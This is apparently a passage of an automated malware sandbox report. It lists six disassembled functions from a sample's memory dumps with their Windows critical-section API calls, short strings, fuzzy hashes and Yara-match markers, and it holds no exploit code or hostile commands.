Instruction Fuzzy Hash: 5601DB71F05248CFC720EBA4ED4196A7760AB15304F90017EE51967391D6785D41874F

Function 04D18677 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04D19EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EF7
Part of subcall function 04D19EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19F34

__Init_thread_footer.LIBCMT ref: 04D186E5

Part of subcall function 04D19EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EAC
Part of subcall function 04D19EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19EDF

Strings

_DC[, xrefs: 04D1868E
CD^O, xrefs: 04D18697

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 5c75b144f3d06f6e04e78f2f1c6efddfb9edd8a136d5b4b745c2fa1b5a1e5a43
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: 0B0149B0F44358ABC720FF7CFD91A5D73A0EB18210F9005A9D91057360DB74B585CB99

Function 04D180B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04D19EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EF7
Part of subcall function 04D19EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19F34

__Init_thread_footer.LIBCMT ref: 04D18125

Part of subcall function 04D19EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EAC
Part of subcall function 04D19EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19EDF

Strings

_DC[, xrefs: 04D180CE
CD^O, xrefs: 04D180D7

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 4bd38603a4397769e654feb31922a337d91e78b733cd913e7ba32a7839ea3813
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 730126F1F01258ABC720EF68FC51A69B3A0EB05200FA001A9EC195B360D6346585CB56

Function 00407800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407869

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407816
EDO*, xrefs: 0040781D

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction ID: 2c0c492e7e72bdb30d52bd5223af33e2dc0730c32d16496d374a94bf7777f62b
Opcode Fuzzy Hash: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction Fuzzy Hash: 5B016275F08208DBDB20EFA5D842E5DB7B0AB14708F50417ED916A7791DA38AD02CF4D

Function 00407910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407979

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

^]E*, xrefs: 0040792D
DCDO, xrefs: 00407926

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction ID: a49365da1333b78fae32507e70f919b170a79118b3a39b38b1efb03faeb462bb
Opcode Fuzzy Hash: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction Fuzzy Hash: 92011DB0F042089BD720EFA9E883A9DB7A0A784704F90417FE919A7391D6396D81CF4D

Function 04D17A67 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04D19EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EF7
Part of subcall function 04D19EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19F34

__Init_thread_footer.LIBCMT ref: 04D17AD0

Part of subcall function 04D19EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EAC
Part of subcall function 04D19EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19EDF

Strings

EDO*, xrefs: 04D17A84
DCDO, xrefs: 04D17A7D

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: d5494cf928be0d40734a95ec6150a6cd70083cfba943cde96bb13c5beedec1ce
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: 62016DB4F44208EBDB20DFA4E891E5DB7B0EB14704F9041BADC15973A0DA35AA46CF59

Function 04D17B77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04D19EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EF7
Part of subcall function 04D19EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19F34

__Init_thread_footer.LIBCMT ref: 04D17BE0

Part of subcall function 04D19EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EAC
Part of subcall function 04D19EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19EDF

Strings

^]E*, xrefs: 04D17B94
DCDO, xrefs: 04D17B8D

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 2e30c873e3a7fdf1ded5eebf02bd762e8e97e9341573f318e6475c42667f2513
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: B4016DF0F41208ABD720DFA8E992A9D77A0E744704F9041BAEC15573A0DA35B985CF59